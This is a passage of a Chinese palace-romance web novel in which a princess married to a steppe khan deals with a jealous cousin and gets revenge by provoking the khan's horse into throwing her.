札木尔早就想提醒她,夜里侍奉完后,回自己毡帐睡去。
但单于没亲自发过话,他不便跟妃嫔说这种事。
“有这事?”赫连煊另有所思,对札木尔的话漫不经心。
札木尔惊道:“当然有!早些年,我对你习性不够了解,有一次夜里出险情,我去叫你,你睁眼就是一刀。”
他语气里透出委屈,“要不是我躲得快,非死即伤。这种事我能记一辈子。你枕头下、床架边,处处藏刀。”
“哦。防人之心不可无。你得学习。”赫连煊面不改色,语重心长,又嘱咐一次,“记得新被子不要太厚。”
话已至此,札木尔还有什么不明白的。
看来不管怎样,单于都非要跟那位公主凑一块儿睡了。
向来只图大业不沾风月的人……铁树开花,罕见。
他按下惊讶,领命而去。
回来时,手中多出一份清单。
札木尔呈给赫连煊过目,“这是前几日收缴的叛军物资。清单整理好送来了。”
清单一长溜,密密麻麻。
既然单于对那公主有意思,札木尔自是事事以主子心意为先。
他凑过去,贴心提醒,给赫连煊划重点:“旁的都是些常见玩意儿,没什么看头。但里头有只千年血参,是那个叛贼老头儿的珍藏,藏得隐秘,我亲自从地库里刨出来的。血参,最补气血,强身健体。”
清单中的各类物品皆已按照品级排好序。
赫连煊各勾出几样最好的,道:“孤用不着血参。把它跟勾出的这些,一并送去公主住处。”
札木尔正要走,赫连煊叫住他,又道:“你按照这单子上的门类,再备一份,送给公主身旁那个侍女,圆脸麻花辫,名字孤记不太清。”
札木尔心细如尘,善于记人,道:“那位姑娘叫乌琪,不是侍女。她跟凝姝阏氏一样,是您收继过来的阏氏。”
赫连煊:“嗯。就是她。”
他送给穆凝姝的赏赐,过几日必定能在乌琪身上看到。
倒不是他吝啬东西,只是给穆凝姝的赏赐,都是他亲自选的。她随便给旁人用,他看着不舒服。此番,干脆给她朋友也赏份类似的,省得她往外分。
札木尔明了,笑道:“我近来学汉语,新学到一个词,‘爱屋及乌’,刚好是乌琪的乌。单于,你这样暗示,还不得把凝姝阏氏给感动死。爱屋及乌嘛。”
“这个词……应当不是这么用。”赫连煊微微顿住,“不过经你这么一说,似乎也有点意思。”
难得受到大单于肯定,札木尔高兴而去,找穆凝姝送赏。
活到老,学到老,他以后一定还要多多努力,争做草原第一解语花。
******
阏氏毡帐中,札木尔带来的赏赐堆成小山。
穆凝姝和侍女们一起整理,分门别类。
桌上堆满鹿茸、灵芝等补品,其中有只老血参,连装它的锦盒都镶珠带玉,价值不凡。
方才,札木尔送东西时,专门提过,说这血参有千年岁数,大单于见她手脚发凉,特意赏给她补身子。
她拿起血参细细端详,参体修长,须发繁茂,呈深红褐色。
按照医书说,这种罕见奇药,有大用途。
千年血参珍稀难得,拿来对付手脚发凉的小毛病,简直是暴殄天物。
大概赫连煊不懂行,近几天睡觉时被她冰得发烦,胡乱拿来赏了。
她将血参收进盒子存放,打算等张奉景回来后,给他瞧瞧。
张奉景是赫连部御医,同她关系颇好,现下在外地游学未归,对这些东西最是了解。
至于手脚冰凉,解决起来用不着大动干戈,无非是气血亏虚引起的小毛病,关键在于温补。
穆凝姝知晓用药方法。只是从前不受宠,巧妇难为无米之炊。
她写下张方子,又从赫连煊赏赐的药材中拿出几样,让侍女带着药材和药方,去药房那边。
主药她提供,都是珍品,药房再补齐几种常见配药后,按方子要求煎好,她每日服用,补上一个月,会见疗效。
弄完这些,乌琪进帐来找她。
穆凝姝:“你来得正是时候。单于赏了东西,你看看有什么喜欢的,自己挑些。”
今天的乌琪不同于往常,面上红光焕发,眉眼娇羞。
穆凝姝笑问:“你脸红得不寻常,有什么好事?”
“方才,札木尔大人也给我送了份赏赐。”乌琪面露欣喜,带着点儿扭捏,“凝姝,你说……大单于是不是喜欢我呀?”
闻言,穆凝姝颇为意外。
在此之前,赫连煊从未在她面前提过乌琪。他忽然示好,毫无征兆。
两人一核对,连赏赐种类都一模一样。
区别在于,她这份规格更高,东西更金贵。
其中的暗示意味,显而易见。
乌琪羞涩道:“怎么办,好突然,我都没有心理准备。会不会是我们会错意?但我没听说大单于给其他阏氏送过东西,之前只有你。若是我会错意,多难堪啊。”
穆凝姝思索一番,道:“看大单于举动,应当是对你有意思。不过,他这人心思深得很,七弯八拐,也说不准。我们不动声色,先观察几天。他若是有意思,定会主动传召你侍奉。若是没有叫你,我们再想想办法。”
乌琪高兴,握住她的手,“你说得在理,我都听你的。我先前还怕你会生气,想着,如果你不喜欢我侍奉单于,我就不去了。”
穆凝姝道:“自是不会。哪怕没有你,迟早也会有旁人。”
虽然她夜夜与赫连煊同床共枕,但两人一直未有夫妻之实。
根据她看过的话本,此等状态,可不是霸道君王和妖妃的正常路数。
倒挺像……赘婿被迫为国当鸭,忍辱负重。
她经过姜国严选,自觉容貌不差,不至于逼得赫连煊如此委屈。如今他和她的境地,根源只能是人种审美差距。
那就没办法了,她天生是中原品种,改不掉。
乌琪相貌可爱,性格活泼,身材丰满,是典型的草原姑娘。赫连煊正值壮年,茹素许久
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,熬不住看上乌琪,她能理解。
君主坐拥后宫三千人,迟早的事。
乌琪道:“也是。玛茹一直虎视眈眈,我刚在来的路上,还看到她跟单于走在一起,不知聊些什么。与其让她抢走单于,我们又受欺负,还不如让我来。雅曼就很会做这种事,咱们也学学前朝宠妃的手段。”
男人天生喜新厌旧,雅曼深谙此理,干脆主动安排些女孩儿给赫连天雄。这些小阏氏,经她挑选调教,都对她言听计从,不仅不会威胁到她,反倒能助她固宠。
靠这种招数,雅曼屡屡打败其他受宠阏氏,一路荣耀。
穆凝姝从赏赐中翻出一块红布料,递给乌琪,道:“无论后续如何,你去侍奉,总少不得好看的衣裳。大单于平日里喜欢穿红衣,你不妨做身红裙。”
这块料子色泽艳丽,贵族专供,不是花钱能买到的。
乌琪那堆赏赐中,虽有红布料,颜色手感却远比不得此料。
乌琪珍惜地摸摸衣料,道:“我会跳舞,这个做成舞裙一定很漂亮。凝姝,草原上的姑娘这么多,我得有个特别的出场,让单于惊艳一下,迷住他。你帮我想想好不好?”
穆凝姝毫无头绪,道:“我们先专心做好舞裙。怎么走下一步……我也没经验,慢慢想吧。”
二人比划一番后,发觉做一条漂亮舞裙并不容易。
布料虽艳丽,但若只有大片红色,难免单调乏味。
穆凝姝带乌琪前往库房找材料,“弄点儿碎玉珠子在裙摆上,亮闪闪的,衬得人有精神。还需要其他颜色的辅料,给裙子加花边。”
库房中,新进了一大批缴获的物资,还未来得及全部收纳入库。
下人们穿梭其间,搬运东西,忙忙碌碌。
正中间处,一身蜜桔色的玛茹,手执马鞭,指挥侍女们做事,格外显眼。
一个侍女不慎撞到她,她侧身挥鞭,正要抽那侍女,恰巧穆凝姝迎面走来,同她对上目光。
她怕穆凝姝去赫连煊面前嚼舌根,败坏自己形象,便转下方向,鞭子抽在地上。
擅自鞭挞侍女,明面上不允许。私底下做是一码事,大庭广众之下,被人当把柄抓,是另一码事。
穆凝姝不想再跟玛茹起冲突,礼貌颔首,带乌琪去存放衣料的库房,挑选舞裙辅料。
惹不起,躲得起。
然而,玛茹却不让她如愿,紧随其后。
穆凝姝挑哪件,玛茹立刻指明要哪件,明抢。
给出的理由很正当——她今日进库房,是赫连煊亲口应允的,她自然能优先挑选。
一而再,再而三。
不仅抢东西,话语里也夹枪带棒,嘲讽穆凝姝和乌琪都是低贱马奴出身,一朝得点赫连煊眼色,便自以为金贵,也学人挑肥拣瘦。
待穆凝姝又挑好一块羊绒料子,玛茹再次夺过,得寸进尺。
“凝姝阏氏,这料子挺舒服,也让给我吧。山羊绒轻薄蓬松,我正好想做身新睡袍。你分不清好货和孬货,到你手里也是浪费。”玛茹随意搓揉料子,毫不爱惜。
“行。公主喜欢就拿去。反正如你所言,我没见识,分不清好坏。”穆凝姝大方放手,淡淡瞥玛茹一眼,“罢了,我也懒得挑了。这里的东西再好,总归都不如单于的睡袍舒服。今晚侍寝时,我跟他要一件穿穿就是。”
12. 第 12 章
忍气吞声一下午,玛茹越发猖狂。
这种人,纯属给脸不要脸,当面不怼回去,退一步越想越亏。
何必再忍。
一提赫连煊,玛茹果然破防,当即气得跳脚,方才的得意高傲全无踪迹。破口大骂还不够,抬手就是一鞭,朝穆凝姝挥去。
众目睽睽之下,没人能料到,玛茹竟敢直接朝宠妃动手。
“当心——”
乌琪反应快,扑到穆凝姝身上挡住。
鞭子堪堪落在乌琪侧脸,当即透出条红迹,血珠子往外渗。
穆凝姝扶住乌琪,冷道:“公主行事未免太猖獗。我和乌琪都是大单于的阏氏,岂容你肆意鞭笞。”
打都打了,覆水难收,玛茹暗自担心赫连煊责罚,面上却不甘示弱,蔑笑强硬道:“打你就打你,有本事你跟表哥告状去,看他会不会替你出头,看他到底跟谁是一家。贱人,好日子没过上几天,还真敢拿自己当主子。”
动静闹得大,玛茹侍女见情况不对,匆忙跑回去,禀报玛茹的母亲。
舅母一来,玛茹立即变脸,扑进母亲怀里,哭哭啼啼,全然一副遭欺负模样。
按照她所言,她只是来挑选东西,无意跟穆凝姝起争端,穆凝姝却仗着赫连煊宠爱,炫耀显摆,还挖苦她。
知女莫若母,舅母自是清楚自家女儿德性,从小到大,替她收拾过无数烂摊子。
舅母熟练默认玛茹的版本,笑着打圆场,不给穆凝姝等人陈情机会。
她先上前看乌琪伤势,关切道:“草原上的女孩子们玩玩闹闹,免不得弄点儿皮外伤,玛茹也是经常青一块紫一块。我那儿有上好的跌打油,等会儿就让人给乌琪丫头送去。阿煊最烦女孩子哭哭啼啼,乖,都不哭了啊。”
接着,看向穆凝姝,假意责骂玛茹,赔礼道:“凝姝阏氏见谅,玛茹打小跟她表哥要好,如今长成大姑娘了,却还爱耍小孩心性。但凡阿煊宠爱个女孩子,她就闹腾,多少年了,总是这样。这孩子幼稚,您温婉大度,别同她计较。我回去一定好好教训她。”
前几句意在大事化小,后几句则是劝穆凝姝见好就收,让她明白,赫连煊宠爱过的女孩子不止她一个,玛茹闹事也不止这一回。
他的宠姬爱妾换来换去,血亲表妹却独此一人。
旧事重演而已。
闹到赫连煊那里,她讨不着好。
母女俩唱双簧,哭得震天响,骂得声势浩大,好似她们才是受害者。
若是穆凝姝再揪着不放,拿这等鸡毛蒜皮,去烦日理万机的君王,倒显得她不懂事,恃宠欺人。
一旦涉及家务事,世上最精明的清官都不敢管。
更何况,这对母女演起戏来,炉火纯青。
不愧跟赫连煊是一家。
现实如此,穆凝姝暂时忍下这个闷亏。
“既然舅母都这般说了,我也不好再说什么。”她扯出个假笑来,故意道,“长兄如父,大单于向来待表妹宽厚。领教了。”
玛茹:“呸!什么长兄如父,你少乱扯!”
她满心指望着嫁给赫连煊为妻,他的宠爱,该是男人对女人的宠爱。
见鬼的长兄如父,哪壶不开提哪壶。
多说无益,穆凝姝没再理会这对母女,扶乌琪回毡帐。
******
不多时,舅母派来个伶俐侍女送跌打油,妥帖圆滑,让人寻不出错。
穆凝姝收下,扔到一旁没用,另让侍女从药房取来药膏和祛疤膏,给乌琪涂。
血痕丑陋,乌琪照着镜子,却庆幸道:“还好没打到你脸上,你如今侍奉大单于,万万不能损伤容貌。我现在脸面受了伤,之前商量的事先放放吧。等我养好脸再去,给单于留个好印象。”
说的人语气轻松,却听得穆凝姝心里不是滋味。
作为奴仆,挨打挨骂,家常便饭。乌琪受了伤,甚至不知道该先替自己委屈,而是忙于筹谋后续的生计,生怕遭受主子厌弃。
乌琪见穆凝姝脸色不善,劝慰道:“这点伤不算什么,你别往心里去。跟咱们从前当马奴时受的委屈相比,小意思。耶律夫人虽是护短,说的道理却没错,他们毕竟是一家子。你不要因为我这点小事,去跟单于家人敌对,影响他对你的恩宠。”
穆凝姝:“可是你的脸……你好不容易有机会获宠,方才不该替我挡。”
“我受伤比你受伤划算。”乌琪笑得龇牙咧嘴,捂住伤口,“再说,肯定能好的。即使好不了,也还有你这现任宠妃罩着我啊。你趁现在得宠,多攒点家底,省着点花,足够养我一辈子。”
乌琪越善解人意,穆凝姝越难受,认真道:“你放心。你今天这打绝不会白挨。我一定替你讨回来。不,是替我们讨回来。刚才那种情形,我只能暂时忍下,但心底可没打算放过她。她欺人太甚,该受点教训。”
乌琪紧张道:“你别冲动。玛茹任性狠毒,大不了以后我们更加小心躲避,任她骂,别还嘴。”
“这种烂人,靠躲是躲不过去的。你别怕,我有分寸。”
穆凝姝受够了玛茹,一个计划逐渐在脑海中成形。
自己吃的亏,靠自己找回来。
若她当真是个任人欺凌的包子,没等她嫁到塞外,早在姜国时,她就让人吃干抹净了。
只会告状叫家长算什么本事!
这回,新仇旧怨,她一起报。
******
回到毡帐时,赫连煊发觉今晚有些不同。
灯火明亮,在屏风上勾勒出一道起伏身形。
他越过屏风,床榻上的姑娘身姿比影子更曼妙,两条细腿折起,摇来晃去,手上随意翻弄话本。
纸张经她指尖拨弄,发出轻微的哗啦声,平静,安宁。
跟方才勾心斗角的朝堂,迥然不在同一个世界。
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>近来事务繁忙,他经常忙到后半夜,等他回来时,她早已兀自睡得香沉。
今夜竟然没睡,难得。
见他过来,她将书放到一旁,翻身下床,朝他走来。
帐中新换了厚绒地毯,她赤足踩过,留下浅浅的凹痕。
似是,专程在等他。
赫连煊脱去外衣,“找孤有事?”
穆凝姝乖巧接过,挂好,“没什么要紧事。我多喝了几口奶茶,睡不着。”
声音软软的,带着极轻微的鼻音,仿佛有些撒娇的意味。
撒,娇。
在他记忆中,她没有过这种行为。
她又道:“单于,您要沐浴吧?我帮您叫水。”
赫连煊看向她的脚,白如凝脂,脚尖微红,道:“把鞋穿上再去。”
“嗯?哦,好。”她低头看看。
帐中铺着垫子,又软又暖,她常常忘记穿鞋。
她随意踩上绣花丝履,去找侍女。
热水打好后,穆凝姝跟到浴桶那边。
赫连煊泡在桶中,她站在身后,缓缓替他淋热水,道:“今天您赏赐给我的东西,我很喜欢。多谢单于。还有乌琪,她也喜欢,托我谢恩。”
原来如此。
赫连煊解惑。
难怪她今晚如此殷勤,乖得不像话。
小财迷,真现实。
倒也……不错。
“嗯。”他道。
穆凝姝屏息凝神,等着他的下文。
比如说,提提乌琪。
她规划了两条复仇路线。
第一条很简单。但凡赫连煊对乌琪多表示点兴趣,多关心几句,她就顺着话头发挥,说下乌琪的情况,牵扯出玛茹欺负他看上的新宠。
所以,快点提乌琪呀!
然而,等了老半天,帐中除了水声,一无所有。
看来赫连煊对乌琪,是临时见色起意,不怎么关心。
运气不佳。
那就只能走第二条路线,复仇靠自己。
穆凝姝双手轻轻替他捏肩,道:“单于,你之前教我的骑术,我这几天练得不错。你何时有空,我们再去骑马好不好?”
赫连煊睁眼,侧过脸看她,道:“你今晚是为了约孤骑马,才等孤?”
灯火将他眉眼染得温暖。
“嗯,算是吧……你也该教我些新内容了。”穆凝姝略微心虚,“要是没空就算了,娱乐而已,不着急。”
他默算下时间,道:“后天下午,申时一刻,你来王庭找孤。”
“好呀。”穆凝姝笑逐颜开,转到他正对面,弯腰颔首,行礼谢恩,“多谢单——”
话没说完,她笑意僵住。
水清澈见底。
他泡在里面。
从她的角度,水下情形,一览无余。
赫连煊注意到她神情变化,顺其目光,朝下看去。
13. 第 13 章
纵然先前专门学习过,亲眼见到时,冲击力跟图画不能比。
现在回想选妃那晚,她到底哪里来的勇气,竟试图邀宠。
古人云,无知者无畏。诚不欺人。
穆凝姝压住内心的惊惧,默默劝解自己,这、这个一定是因为在水里。
生活常识,东西放在水里,会显得比较浮夸。
其实嘛,没什么的。
对,就是这样。
她淡定抬眼,装作无事发生,沉稳道:“水有些凉,我再去让人送点热的过来。”
正要转身,脚绊鞋子,迎头朝水里栽去。
赫连煊眼疾手快,站起来掌住她双肩,水花四溅。
高大身躯将她整个人拢住,水流温暖,顺着他的肢体洇湿她衣裳。
穆凝姝揉去溅在眼里的水,一睁眼……看得更真切了。
这回,连水的遮挡都没有。
穆凝姝:“……”
朝下看不行,她果断抬头,正对上赫连煊的眼睛。
更不行了。
瞬间双颊滚烫。
但莫名其妙的担当感,不允许她落下风。
宫里出来的人,该是有见识的。身为贵族,从小有奴仆服侍,被人看看,看看别人,都是寻常。
上回他给她上药,坦坦荡荡,理直气壮。这回轮到她看他,她就得羞羞答答?
不行,她得稳住。
敕加人总爱笑话姜国女子胆怯,她今天亲自辟个谣,让他见识下姜国公主的格局。
这是人与人之间的面子问题,是国与国之间的文化较量。
她对视回去,目光坚定如义士。
赫连煊神态自如,眼神慢悠悠打量她。
她平日里,惯爱摆出副端正成熟模样。
礼仪周到,言辞得体,时常让人忘记,她也才十八岁。
他耐心不佳,素来厌烦人笨手笨脚,身边之人皆精明干练。
今晚却觉,她这样也挺有趣。
故作淡定,眼底却泄露出极隐蔽的懊恼和窘迫。
活泼,生动,是小姑娘该有的样子。
浅粉色的寝衣溅过水,湿乎乎,紧紧贴在皮肤上,勾勒出身形。
身形……咳,倒是的确成熟,做不了假。
终是赫连煊先挪开眸光。
他闷咳一声,“你衣裳湿了,去换件。”
穆凝姝如获大胜。
对峙解除,她莫名其妙的斗志瞬间无踪,再是撑不住场子,立即转身逃走,动如脱兔,连鞋掉在地上都没发觉。
回到床榻这边,她脱去湿衣,随手扯过床头红袍。
穿着衣裳,她忽然想起白日里故意拿来怼玛茹的话。
她怼人时,只顾着随意发挥,见招拆招,往往别人说什么,她就顺着怼回去。
直到此刻,她才发觉,穿旁人的贴身衣物,着实是件很暧昧的事。
他赏赐时挺大方,怎么就非得吝惜一件半旧睡袍呢?直接送给她不行吗?
脑子里再度涌入方才的场景,羞耻感开始反扑。
她钻进绒毯中,胡乱拉起,把自己脑袋盖住。
唯有一睡解千愁。
明早起来,又是一条新好汉。
******
两天后的下午,天公作美,阳光温暖。
申时一刻,穆凝姝牵着绝影,准时到达王庭外,朝侍卫道:“我要见大单于,劳烦通传一声。”
侍卫笑道:“单于交代过,您来了直接进去,用不着通传。”
穆凝姝:“好,多谢。”
看来赫连煊记得约定,提前告诉了侍卫。
做事还挺妥帖。
她直接推门进去。
草原寒冷,秋末天气转凉后,王帐中会再加设一道厚皮草门,用以隔绝寒气。
两道门之间的空间很大,放有茶几和软垫,若是里头有人在,后来者可在此处休息,等候通传。
她听了听,里头很安静。
想来,赫连煊已处理完政事,等她过来。
她推开第二道门,笑道:“单于,我把绝影牵来了,还带了点心。你想先吃点东西再去玩儿呢,还是等去了草原边骑马边……吃……呢?”
后续的话,随着帐中画面展露,越说声音越小,微若蚊呐。
王庭中,刷刷刷,两排粗壮汉子齐齐回头。
穆凝姝愣住,心如擂鼓。
她从前没进过王帐,不知道这玩意儿隔音效果这么好。抑或是,他们议事的声音能这么小。
刚被赫连煊一顿追责训话的大臣们亦是愣住。
大单于心情不佳,帐中氛围胶着,大家连大气儿都不敢出,这人忽然闯进来,简直地狱无门偏来投。
竟还是个女人。看容貌,来自中原。
听说,单于近来颇宠爱一个中原公主。
作为后妃,擅自闯入朝堂,未免太恃宠而骄。
即使受宠,在单于这种事业狂魔面前,也不会有好果子吃。
几个熟识的臣子对下眼色,枯燥的挨骂盛宴上,难得有出好戏。
穆凝姝遥遥望着王座上的君王,他容貌虽年轻,气势却威严,睥睨群臣,冷冽凛然。
同夜里任她闹腾的人,不似同一个。
她默默往门那边挪,盘算着不动声色溜出去,却听他道:“现在什么时辰?”
札木尔回禀:“申时一刻。”
他朝她招手,“过来。”
穆凝姝不敢违抗,顶着众人目光,走到他身旁,默默腹诽。
她闯进朝堂,固然有错,但她是守时赴约,谁知里头是这般情况。若他要责罚,至少等回了后宫再罚,大庭广众之下,还都是男人,她也要点面子啊。
赫连煊抬手,她瑟缩闭眼。
当众家暴也太没品了!
却并未感到痛。
他拂开她乌发上纠缠的珠链饰物。
赫连煊指指身侧的软垫,道:“坐在这里等会儿。孤忘了时辰,事情还未议完。”
说罢,再没管她,又转向大臣们,让人继续禀报政务。
比起先前汇报、被批得狗血淋头的臣子们,后续臣子们的运气好得多。
不知是因这位阏氏来了的缘故,还是大单于急着结束,去陪她“玩儿”,总之,进程飞快,中途大单于甚至没再停下来骂人。
散会后,大臣们擦擦额汗,心态从看笑话转为期待凝姝阏氏下次还能过来。
最好是日日都来,陪着单于开会。骂人变少了,散会变早了。娶媳妇包治百病,尤其是暴躁症。这个理由很好,以后可以用于给小辈催婚。
王庭中,人已走光。
穆凝姝自觉认错,道:“侍卫让我直接进来,我以为是你特意交代的,以为你忙完了,在等我。早知如此,我该在外面候着。后宫妃嫔不准涉政,我不是故意的,以后会仔细些。”
赫
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连煊倒茶,顺手给她也递一杯,道:“很早之前跟他说过,不用拦你。你没来找过孤,所以不知道。小事罢了,不必在意。上朝感想如何?”
穆凝姝捧着茶杯,诚实道:“不如何。听不懂,挺无聊,帐中人多,闷闷的……他们不好闻。”
全是草原糙汉子,人员密集,热烘烘的人味。
不像赫连煊,清淡松香。
倒也不是大臣们臭,贵族再脏也脏不过马场奴隶。
只是她被赫连煊养刁了,对味道格外敏感,由奢入俭难。
赫连煊微表遗憾,道:“可惜,孤还想着,以后带你上朝。你头发摸着挺舒服。”
穆凝姝:“……”
方才她坐在他下首,他有一搭没一搭摸她头发,跟摸狗似的。
按照他上朝的频率和时长,她要是陪着,迟早被他薅秃。
穆凝姝十动然拒,道:“感谢单于厚爱,但为了我美丽的头发,还是免了吧。”
两人走出帐门。
穆凝姝上马执缰,赫连煊坐到她身后,没跑几步,玛茹策马出现,停在两人身旁。
玛茹笑道:“表哥,凝姝阏氏,你们也来骑马?好巧,我也是,一起玩儿吧。”
未等赫连煊发话,穆凝姝好脾气道:“好啊。既是巧遇,公主一起玩,人多热闹。”
巧才有鬼。
玛茹的侍女神出鬼没,暗中盯着她和赫连煊的毡帐。
今日她来王庭前,特意牵着绝影慢悠悠晃了一圈,保证让玛茹知晓此事。
玛茹鼻头都冻红了,显然在王庭外等了许久,制造这场偶遇。
到马场后,见穆凝姝只会最基本的跑步,玛茹得意显摆马术,誓要将她比下去,衬得她格外笨拙。
穆凝姝脾气依旧软绵,顺着玛茹说话,再暗戳戳提几句绝影,“绝影太高大,若是换其他正常马匹,我定能骑得更好些。”
鱼儿果然上勾。
玛茹要换马。
一旁的赫连煊兴致寡淡,玛茹来后喧宾夺主,没他什么事。
听到换马,他才开口说话:“绝影暴躁,你骑不了。”
玛茹不服气,使出老一套撒泼耍赖,“我什么马没骑过?表哥你就是偏心,穆凝姝初学都能骑,我骑术比她强得多……”
申时那会儿,侍女跟她说,穆凝姝取了绝影朝王庭走,她便连忙赶过去,正好看到穆凝姝跟侍卫说话。
王庭为军机重地,她等着看穆凝姝碰钉子,侍卫却笑脸相迎放行。她也过去,侍卫竟拦住不放,害得她在帐外等候许久,天寒地冻,越等越憋屈。
闹上一阵后,玛茹直接翻身上马,策马远奔,力证自己骑术碾压。
忽然,绝影嘶鸣不止,胡乱跃动。
“啊——”
一声惨叫后,玛茹在空中划出条弧线,坠马落地。
赫连煊骑马前去查看。
穆凝姝跟在后面,慢悠悠走过去。
途径她常常晒太阳的小土坡。
寒冬将过,春日将至,小土坡上冒出几根极短的狗尾巴草苗苗,青翠稚嫩。
莫勒钦不知所踪。
他留给她的小奶狗,她包在怀里,一路带到赫连部。被玛茹摔过后,没过两天就死了,埋在这个土坡下。
她受玛茹欺负,她的朋友受欺负,连狗都逃不过。
今天风水轮流转。
玛茹嘴唇惨白,趴在地上,前所未有的狼狈。
14. 第 14 章
右手摔脱臼,左脚崴伤。
玛茹运气真好,伤得不重。
不过,从小没吃过苦头的姑娘,仍旧痛得翻来滚去,嚎啕大哭。
痛就对了。
凭什么玛茹每次肆意凌辱别人后,哭一哭,就能当做什么事都没发生。
不管犯下什么错,父母护着她,赫连煊纵着她。自家人的惩罚,永远和稀泥,最重也不过是关关禁闭,扣扣月钱。
不痛不痒,跟小孩子过家家似的。
这不公平。
受惩罚,应该亲自痛。
以血还血,以牙还牙。
玛茹仗着赫连煊压人,那便只能由他本人来破局。
今日穆凝姝带的几个荷包,装满了甜奶块。
其中有几块,涂有银霜的马尿。喂绝影吃下之前,她还特意在它鼻子里抹了一圈,确保引得绝影兴奋。
普通马弄伤宝贝表妹,会遭无妄之灾。绝影是赫连煊的爱骑,性子出了名的暴躁,旁人骑不得。
是玛茹非要跟过来,是玛茹非要骑绝影。
众目睽睽,赫连煊亲眼见证,每一步都是她自己的选择。
性子又蠢又坏,两面三刀。
关旁人何事?
坑人,就这么简单。
一切顺利,穆凝姝站在稍远处,静默看戏。
表哥替表妹处理着伤处,表妹哭得抽抽噎噎,尚且健全的那只手,试图攀附表哥的脖颈,脑袋直往他怀里凑。
……这还不得爽死她!
复仇计划意料外的失策——赫连煊对玛茹强大的心理疗愈作用。
干脆她也来崴个脚,再哭一哭。
这几天,她专门安排过哭哭练习,能控制泪珠子大颗大颗往下掉。
依据乌琪点评,她假哭效果不错,梨花带雨的,惹人心疼。
就是不知乌琪有没有亲友加分,也不知道这招对赫连煊是否奏效。
穆凝姝思来想去,决意放弃。
玛茹崴脚,她也崴脚,太假。平地走路崴脚,假上加假。当心画蛇添足,暴露真凶。
况且,在哭哭啼啼这件事上,她着实有些为难。上回她哭,得追溯到五六岁那会儿。现在这么大个人,让她哭唧唧,莫名羞耻。
若是待她辛苦假哭一番,赫连煊不理会,仍旧以玛茹为重,她不要面子的吗?玛茹加倍爽翻天。
罢了罢了,心理不重要,今天能让玛茹在生理层面吃上苦头,已是巨大胜利。
肚子咕咕叫唤,穆凝姝从腰间取下只干净荷包,掏出甜奶块吃。
沾过母马尿的那些奶块,她都喂给了绝影,毁尸灭迹彻底。
赫连煊朝她走来。
未等他吩咐,她将准备好的措辞抛出,道:“玛茹情况可还好?单于先送她回去吧,不必顾及我,这里我常来,又有侍卫们陪护,我慢慢走回去便是。”
赫连煊道:“公主甚是体贴。”
穆凝姝微笑,谦虚道:“还好啦。咱们为妃为嫔,总少不了一些不得已的贤惠嘛。”
“你还真当孤在夸你?”不等她反应作答,赫连煊吹声口哨,绝影跑到二人身旁打转,“孤让人送她回去了。”
穆凝姝愣住下,“你不亲自送她?”
赫连煊道:“孤又不是御医,亲自送一趟是能治病吗?今日答应过陪你骑马。”
他语气略带烦躁,传到她耳中,却格外好听。
她忍不住笑出来。旋即抿唇,压住笑意,却压不住眸光中的亮晶晶。
这种时候,她不该笑的。
玛茹受伤,正常人都该表示焦急和关切。她作为犯人,更应把戏做全,以摆脱嫌疑。
但她只是个初上任的优伶,且自觉在演戏上天赋欠佳,没办法完美掩饰好情绪。
绝影闻到奶味,鼻子抵在穆凝姝腰间拱来拱去。
她顺势低头,将剩下的甜奶块全给喂它,抚摸它脖子上的鬃毛,侧过脸,避免同赫连煊迎面对上。
赫连煊道:“你方才的话。‘贤惠’好理解。‘不得已’怎么说?”
“唔,这个啊——”穆凝姝现编胡诌,“你前天答应陪我骑马,那这两天,我自然时时盼着,申时一到,准点去找你。突发意外,不能一起玩儿,事有轻重缓急,我能理解,但心里难免失落嘛。人之常情,单于不必在意。”
方才她一不小心把心里话说出来了,绕一圈才圆上。
她的“不得已”实为见不得玛茹爽到。
“上马。”赫连煊扶她坐好,“既是答应了你,孤没打算爽约。之前是慢步基础,今天教你快步和骑坐。”
绝影配合度极高,穆凝姝学得很顺利。
她说出一直以来的疑惑,“绝影挺温顺的。是因为我照顾过它吗?”
暴躁疯马,是对绝影的污蔑,人家明明是良驹好宝宝。
赫连煊道:“不是。揍一顿才管用。旁人喂东西,它不吃,也不准人骑。”
穆凝姝想起来,他刚回赫连部那会儿,给过绝影一大耳刮子。
它真惨。
而她真走运。
若非碰巧得此便利,她今日还坑不了玛茹。
天色渐黑,赫连煊坐到她身后,策马回程。
穆凝姝问了些不太明白的地方,他一一回答,言简意赅。
她由衷夸道:“你当真是个很好的老师。难怪玛茹对你当年教她马术的事,念念不忘。”
赫连煊莫名道:“念念不忘?孤教她时,骂得太凶,她常常哭,吵得孤头疼,就骂得更凶了,完全是相互折磨,怎么看都不值得念念不忘。”
穆凝姝:“是这样吗,你会骂她?我还以为你一直都……”
她停住,说他凶,不妥。
转而立即为他找好台阶,道:“大概那会儿单于您年岁太小吧。小孩子,难免急躁。”
赫连煊不置可否,既说起玛茹,问道:“她还跟你说过什么?”
穆凝姝道:“什么表哥跟她天下第一好,小时候你带她去套马等等。说了许多,记不太清了。”
赫连煊笑出声,道:“她竟会这样说。不过这种话,是她的风格。”
穆凝姝回过头看他,好奇下文。
赫连煊道:“小时候,孤因故常在舅舅家借住,承蒙他们照顾。那会儿玛茹年幼,喜欢跟着孤。她非说是天下第一好,也行,反正那会儿孤身边也没其他朋友。”
他垂眸看她一眼,继续看路,“你很在意玛茹?”
穆凝姝道:“这……很难不在意吧。她一出现,必成焦点。你们那会儿年幼,如今可不年幼了。单于,你看不出玛茹对你……”
赫连煊淡然接话:“喜欢?”
穆凝姝惊讶,“你知道啊?”
“只要她不说出来,孤可以当做不知道,充当一个…
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…不知道算不算称职的兄长。”赫连煊回忆了下,“年岁渐长后,孤事务繁忙,跟玛茹来往不多。舅舅于孤有恩,对这个表妹,孤能照顾就照顾一二。”
穆凝姝好奇,“你那么多阏氏,多一个也没区别,完全没想过娶她吗?她应当是很喜欢你的。”
“怎么可能。她太麻烦。”赫连煊皱眉,不带犹疑,“至于说喜欢,一个人喜欢另一个人,对方就必须喜欢她?世间没有这种道理。”
穆凝姝默了会儿,道:“嗯,也是。”
他这番话,很符合其君王身份。
以他一贯作风和谋反经历看,心思全在政事前途上。
与其说,他骄纵玛茹,不如说,他毫不在意。
穆凝姝甚至怀疑,玛茹驱赶靠近他的女人,他或多或少知道些。只要玛茹别太出格,太烦扰他,小打小闹,他都无所谓。
他淡漠地喜欢下,或者仅仅是不带感情地亲近下那些女人,没了,就换一拨。
玛茹了解他的性格,清楚知晓他对她毫无男女间的爱意,所以一直只敢拿表妹身份作妖,不去戳破窗户纸。如此一来,至少能享受他作为兄长的荫蔽与宽厚。
“怎么不说话?”见穆凝姝忽然沉默,赫连煊问道。
